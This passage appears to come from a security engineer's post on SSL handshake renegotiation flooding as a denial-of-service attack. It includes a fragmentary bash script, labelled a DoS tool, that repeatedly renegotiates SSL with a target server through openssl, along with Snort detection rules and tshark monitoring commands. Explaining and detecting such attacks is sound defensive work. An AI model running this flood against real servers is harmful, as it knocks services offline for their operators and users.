And the application is not aware of this, since the SSL ( aka Transport Layer Security).
So since we don't hit the Layer7-App, nothing is trigger to indicate this attack, causing the basic SysAdmins to have no clue they are under attack, without some other means.
A few tools exist that does these attack as a proof-of-concept, are available at http://www.thc.org/
You can research that link for more details. The site has well written information for the InfoSec community.
This simple bash scripts does about the same thing and depends on the openssl application.
# ssl negotiation flooding & generation via curl
# SSL neg flood DoS tool
# Basically this tool loops the ssl neg and request no HTTP traffic
if [ ! $1 ]; then
echo " Usage : $0 <delay in seconds between requests> < The #of requests to execute> <server or ip_address> <port> "
echo "Example $0 5 10 126.96.36.199 443 "
if (( $2 >= $MAX )) ; then
echo " "
echo "Please make a request range of $MAX or less"
echo " "
while [ $i -lt $COUNTER ] ;
do echo R | openssl s_client -host $3 -port $4 -reconnect
echo " "
echo " Request # $i "
echo " "
i=$[$i + 1]
# let "COUNTER += 1"
So the object of this attack is to make bogus repetitive request via the ssl handshake & negotiation and never request any application data. Most firewalls will not detect this unless they have UTM features enabled.
SNORT can detect these types of events using a rule similar to the following;
lert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,636,990,992,993,994,995,] (msg:"DoS Detection for various SSL ports"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 00|"; depth:3; detection_filter:track by_src,count 50, seconds 5; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:205001; rev:1; )
and for tls 1.0
lert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,636,990,992,993,994,995,] (msg:"DoS Detection for various TLS 1.0 ports"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 01|"; depth:3; detection_filter:track by_src,count 50, seconds 5; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:205002; rev:1; )
Adjust the count and seconds to tweak the trigger for these rules. You can use wireshrk/tshark to monitor the numbers of ssl handshake with something similar to the following
tshark -q -i eth0 -z "io,stat,1,COUNT(ssl.handshake)ssl.handshake"
tshark -q -i eth0 -z "io,stat,1,COUNT(ssl.handshake.ciphersuite)ssl.handshake.ciphersuite"
And monitor the number of SSL handshakes over a period of 1 even 5 secs if you use the rules above as-is.
Freelance Network/Security Engineer
kfelix -at- hyperfeed -dot- com